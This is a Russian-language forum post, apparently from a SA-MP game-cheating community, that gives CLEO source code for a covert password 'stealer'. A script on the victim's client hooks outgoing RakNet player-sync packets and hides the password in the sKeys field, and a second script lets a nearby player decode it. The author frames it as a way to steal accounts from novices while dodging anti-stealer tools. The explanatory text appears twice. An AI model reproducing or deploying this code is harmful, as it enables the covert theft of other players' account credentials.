- 221
- 359
Здарова. Конечно, наверное, очень мало неадекватов, которые попытаются разобраться, или хотя бы прочитают, но мне будет спокойней, если это говно не пропадет и я, хотя бы, убью время.
Делюсь старыми наработками и идеями. В основном это полный идиотизм, но эта задумка заслуживает право на существование, жалко будет, если пропадет.
Таким стиллером, конечно, миллионы акков не напиздишь, но подстебать нубов можно будет, плюс антистиллеры не должны ругаться. Да и тут не в краже жалких акков дело, а в самом принципе.
Сначала распишу, потом выложу сурс, как это реализовал я.
Данные для примера будем передавать через поле uint16_t sKeys структуры PACKET_PLAYER_SYNC. Для этого нам нужно:
1. Установка соединения, передача.
1.1 Первый игрок (жертва) всегда сканирует всех в зоне стрима на наличие определенного флага в sKeys. Если такой есть - начинается передача данных. (в моем примере флаг - sKeys >= 50000)
1.2 Второй игрок (получатель) курит, пока не зажмет кнопку получения пароля.
И так
1.3 Второй игрок (получатель) нажал на кнопку: у него установился флаг sKeys, сигнализирующий о том, что он хочет получить пароль.
1.4 Первый игрок (жертва) это увидел(т.к. постоянно сканирует, выше писал же епта).
1.5 Первый игрок (жертва) отправляет свой пароль до тех пор, пока у получателя установлен флаг(п.1.3).
1.6 Второй игрок (получатель) после принятия пароля отпускает кнопку.
1.7 Первый игрок (жертва) перестает отправлять пароль.
2. Кодирование пароля(любого сообщения)
Говнокод. Всегда не любил ебалово со строками в клео.
Короче.
2.1 Строка с паролем(с любым сообщением) разбивается по символам.
2.2 Каждый символ преобразуется в число(оффсет в строке символов).
Т.к. sKeys = 2 байта, через него можно передать 2 символа за раз.
2.3 Склеивание двух чисел в одно, двухбайтовое, которе и будет передаваться в sKeys.
На приемной стороне, естественно, из sKeys нужно будет сделать обратное преобразование.
Теперь по коду:
сразу сорян за названия функций и блестящее владение терминологией
Установка соединения:
1) Первый игрок (жертва)
пс, 31@ - строка с паролем(любым текстом), 13@ - длина пароля(передаваемой строки)
Функции:
Проверка флага игрока:
Разбиение строки на символы:
Запись кодов двух символов в 2-байтовое число:
На выходе - ч-ло 5xxyy, где xx,yy - два символа, 5 в старшем разряде - показывает принимающей стороне, что это значение sKeys содержит текст (флаг >= 50000, ну вы помните ебанарот)
2) второй игрок (получатель)
Строка с символами, по которой определяется код символа (до 100 символов).
Функции:
Преобр. sKeys в коды двух символов (обратная функции char_id_to_byte):
Хуки:
Жертва:
Получатель:
Получение пароля и его длинны:
П.С. данные офк можно отправлять через любое поле любой структуры, я выбрал именно uint16_t sKeys; для наглядности. Для увеличения скорости можно задействовать больше полей, можно использовать сотые-тысячные доли позиции, ротации и др., все - ваша фантазия. Так же эти два скрипта, естественно, легко объединяются в один, но, опять же, просто очень лениво все это делать, осбенно на клео, это ебучий мазахизм. Так же для защиты от таких же умных как вы, можно менять символы в строке местами, чтобы ваши сообщения не могли расшифровать другие. Так же для минимизации ошибок, можно использовать различные алгоритмы, их дохуя очень дохуя, например - чередовать 5xxyy/6xxyy/5xxyy/6xxyy, опять же все ваша фантазия и инфа из книг по системам передач. И вам полюбому придется что-нибудь прмдумать, т.к. без этого работать будет криво, потому что ракнета рот ебал. Так же по этому принципу можно пилить дичь по веселее, начиная скрытыми чатами, заканчивая игрухами на несокльких игроков(:D)
Делюсь старыми наработками и идеями. В основном это полный идиотизм, но эта задумка заслуживает право на существование, жалко будет, если пропадет.
Таким стиллером, конечно, миллионы акков не напиздишь, но подстебать нубов можно будет, плюс антистиллеры не должны ругаться. Да и тут не в краже жалких акков дело, а в самом принципе.
Сначала распишу, потом выложу сурс, как это реализовал я.
Данные для примера будем передавать через поле uint16_t sKeys структуры PACKET_PLAYER_SYNC. Для этого нам нужно:
1. Установка соединения, передача.
1.1 Первый игрок (жертва) всегда сканирует всех в зоне стрима на наличие определенного флага в sKeys. Если такой есть - начинается передача данных. (в моем примере флаг - sKeys >= 50000)
1.2 Второй игрок (получатель) курит, пока не зажмет кнопку получения пароля.
И так
1.3 Второй игрок (получатель) нажал на кнопку: у него установился флаг sKeys, сигнализирующий о том, что он хочет получить пароль.
1.4 Первый игрок (жертва) это увидел(т.к. постоянно сканирует, выше писал же епта).
1.5 Первый игрок (жертва) отправляет свой пароль до тех пор, пока у получателя установлен флаг(п.1.3).
1.6 Второй игрок (получатель) после принятия пароля отпускает кнопку.
1.7 Первый игрок (жертва) перестает отправлять пароль.
2. Кодирование пароля(любого сообщения)
Говнокод. Всегда не любил ебалово со строками в клео.
Короче.
2.1 Строка с паролем(с любым сообщением) разбивается по символам.
2.2 Каждый символ преобразуется в число(оффсет в строке символов).
Т.к. sKeys = 2 байта, через него можно передать 2 символа за раз.
2.3 Склеивание двух чисел в одно, двухбайтовое, которе и будет передаваться в sKeys.
На приемной стороне, естественно, из sKeys нужно будет сделать обратное преобразование.
Теперь по коду:
сразу сорян за названия функций и блестящее владение терминологией
Установка соединения:
1) Первый игрок (жертва)
пс, 31@ - строка с паролем(любым текстом), 13@ - длина пароля(передаваемой строки)
CLEO:
0AC6: 30@ = label @chars offset
while true
wait 0
0C8A: samp 0@ = get_max_player_id streamed_only true
for 1@ = 0 to 0@ step 1
if 0B20: samp 6@ = actor_handle_by_samp_player_id 1@
then
0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить sKeys(флаг) игрока
while 4@ >= 50000 //если флаг >=50000... соединение установлено.
wait 0
0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@
for 5@ = 1 to 13@ step 1 //кол-во итераций(13@) == длинна пароля(передаваемой строки)
// 1 char - получение кода первого символа
0C13: strcpy destination 29@ source 31@
0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 7@ //return 1 char
0C19: 8@ = strcspn string1 30@ string2 7@
0C11: memset destination 29@ value 0x0 size 256
// 2 char - получение кода второго символа (т.к. передаем попарно, по два)
5@ += 1 //переход на след.символ
0C13: strcpy destination 29@ source 31@
0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 9@ //return 1 char
0C19: 10@ = strcspn string1 30@ string2 9@
0C11: memset destination 29@ value 0x0 size 256
// преобразование двух кодов символов (8@, 10@) в 2-байтовое число (11@), которое можно передать через sKeys
0AB1: call_scm_func @char_id_to_byte 2 8@ 10@ | 11@
0af8: "%d %d |%d" 0xff0000 8@ 10@ 11@ //debug
0C83: samp force_onfoot_sync //отправка
wait 50 //если часто отправлять, на некоторых серверах кикает
end
2@ = 1
end
2@ = 0
end
end
end
Функции:
Проверка флага игрока:
CLEO:
:get_player_data// 0AB1: call_scm_func @get_player_data1{id}1@ | 4@
alloc 15@ 68
0BBA: samp store_player 0@ onfoot_data 15@
0C0C: 18@ = struct 15@ offset 4 size 2// uint16_t sKeys; + 4
0AB2: ret 1 18@
Разбиение строки на символы:
CLEO:
:char_for_string //0AB1: call_scm_func @char_for_string 2 {str} 0@ {ch} 1@ | char 0@
005a: 0@ += 1@
0C11: memset destination 0@ value 0x0 size 0x1
0@ -= 1
ret 1 0@
Запись кодов двух символов в 2-байтовое число:
CLEO:
:char_id_to_byte //0AB1: call_scm_func @char_id_to_byte 2 {ch1}8@ {ch2}10@ | {sKeys}11@
0@ *= 100
005a: 0@ += 1@
0@ += 50000
ret 1 0@
2) второй игрок (получатель)
CLEO:
0AC6: 31@ = label @chars offset
while true
wait 0
if 0AB0: 66 //B - если нажата кнопка получения
then
2@ = 1
25@ = 61337 //уст. флаг >= 50000
0C8A: samp 0@ = get_max_player_id streamed_only true
0C83: samp force_onfoot_sync
for 1@ = 0 to 0@ step 1
if 0B20: samp 3@ = actor_handle_by_samp_player_id 1@
then
if 803B: 3@ == $PLAYER_ACTOR // (int)
then
25@ -= 1
0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить флаг
if 4@ >= 50000//если флаг >50000 (если он содержит символы)
then //connect, get password
0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@ //достать из sKeys коды двух символов
if 803b: 14@ == 4@
then
0af8: "pass: %d[%d %d]" -1 4@ 20@ 21@ //debug
0085: 14@ = 4@
//--- deconvert
005A: 20@ += 31@
005A: 21@ += 31@
20@ += 1
0C11: memset destination 20@ value 0 size 0x1
20@ -= 1
21@ += 1
0C11: memset destination 21@ value 0 size 0x1
21@ -= 1
0af8: "%s %s" 0xff0000 20@ 21@
//--- deconvert end.
end
else continue
end
end
end
end
end
2@ = 0
25@ = 0
end
Строка с символами, по которой определяется код символа (до 100 символов).
CLEO:
:chars
hex
" 0123456789abcdefghijklmnopqrstuvwxyz-!@#$%^&*()_+=-;:?"
end
Функции:
Преобр. sKeys в коды двух символов (обратная функции char_id_to_byte):
CLEO:
:byte_to_char_ids 0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@
0B14: 15@ = 0@ MOD 100 //jun (1,10)
0062: 0@ -= 15@
0@ /= 100
0B14: 0@ = 0@ MOD 100 //eld (100,1000)
ret 2 0@ 15@
Хуки:
Жертва:
CLEO:
:OUTC_PACKET_ON
0BE5: raknet 14@ = get_hook_param PARAM_PACKETID
if 0039: 14@ == PACKET_PLAYER_SYNC
then
0BE5: raknet 14@ = get_hook_param PARAM_BITSTREAM
0BF3: raknet 14@ = bit_stream 14@ get_data_ptr
if 2@ == 1 //connected
then
0C0D: struct 14@ offset 5 size 2 = 11@ // uint16_t sKeys; + 4 (+1)
end
end
0BE0: raknet hook_ret true
Получатель:
CLEO:
:OUTC_PACKET_ON
0BE5: raknet 4@ = get_hook_param PARAM_PACKETID
if 0039: 4@ == PACKET_PLAYER_SYNC
then
0BE5: raknet 4@ = get_hook_param PARAM_BITSTREAM
0BF3: raknet 4@ = bit_stream 4@ get_data_ptr
if 2@ == 1 //connected
then
0C0D: struct 4@ offset 5 size 2 = 25@ // uint16_t sKeys; + 4 (+1)
end
end
0BE0: raknet hook_ret true
Получение пароля и его длинны:
Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.
П.С. данные офк можно отправлять через любое поле любой структуры, я выбрал именно uint16_t sKeys; для наглядности. Для увеличения скорости можно задействовать больше полей, можно использовать сотые-тысячные доли позиции, ротации и др., все - ваша фантазия. Так же эти два скрипта, естественно, легко объединяются в один, но, опять же, просто очень лениво все это делать, осбенно на клео, это ебучий мазахизм. Так же для защиты от таких же умных как вы, можно менять символы в строке местами, чтобы ваши сообщения не могли расшифровать другие. Так же для минимизации ошибок, можно использовать различные алгоритмы, их дохуя очень дохуя, например - чередовать 5xxyy/6xxyy/5xxyy/6xxyy, опять же все ваша фантазия и инфа из книг по системам передач. И вам полюбому придется что-нибудь прмдумать, т.к. без этого работать будет криво, потому что ракнета рот ебал. Так же по этому принципу можно пилить дичь по веселее, начиная скрытыми чатами, заканчивая игрухами на несокльких игроков(:D)
Последнее редактирование: